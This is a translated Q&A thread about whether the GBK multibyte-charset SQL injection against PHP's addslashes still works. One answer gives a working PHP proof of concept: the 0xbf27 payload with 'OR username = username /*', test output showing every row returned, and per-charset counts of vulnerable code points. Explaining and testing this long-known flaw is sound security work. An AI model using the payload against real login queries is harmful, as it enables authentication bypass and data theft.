Php addslashes sql注入仍然有效吗?

时间:2011-02-27 11:44:12

标签: php mysql code-injection

我知道“参数化查询”是圣杯。这不是主题。

有一篇旧帖子,似乎是在使用addslashes时与sql注入相关的所有讨论的参考。

这是链接:http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

我的问题是:这个概念证明是否仍然正确?我试图测试它,但addslashes似乎正常工作。有没有其他人真的试过这个或者每个人都认为这是理所当然的?

  • 我添加了$ db-> set_charset(“GBK”);
  • 我将gbk_chinese_ci用于db / fields
  • mysql日志显示此查询

     SELECT *
            FROM   users
        WHERE  username = '�\' OR username = username /*'
        AND    password = 'guess'
    

    如此明显地说它不起作用

    更新:请阅读我问的问题。 我不关心最佳实践,我不需要替代方案,我只需要确保它仍然有效。

    更新:另外我想提醒一下这个POC适用于像GBK,SJIS或BIG5这样的字符集,每个人似乎都忘记了这一点。当说addlashes时,让标题听起来有点吓人。

    解决方案:在我的情况下,mysql版本5.5.9-log不允许内联注释没有像/ *那样完成。如果我使用 - 或#它的作用。

  • 2 个答案:

    答案 0 :(得分:8)

    这似乎对我有用。

    MySQL的:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    结果:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    结论:

      

    对于那些高喊“你应该使用mres而不是addslashes!”的人来说,第二个结果是最令人惊讶的。

    答案 1 :(得分:3)

    为了得到'�\'我猜你使用了0x??5c多字节字符而不是0x??27多字节字符。

    我的服务器上得到了以下结果(测试代码点的数量导致注射成功):

    • SJIS:47/47
    • SJIS-win:58/58
    • EUC-CN:0/95
    • CP936:126/126
    • BIG-5:89/94
    • EUC-KR:0/93

    我没有测试MySQL的其他可用字符集,因为它们在PHP的mbstring扩展名中不可用,所以我没有快速的方法来确定这些编码中存在哪些多字节字符。我也只尝试过双字节字符,因此可能存在更易受攻击的字符集。

    此外,如果表数据与客户端设置的编码相同,则会有所帮助。否则,对于许多潜在的代码点,您会得到“非法混合排序”错误。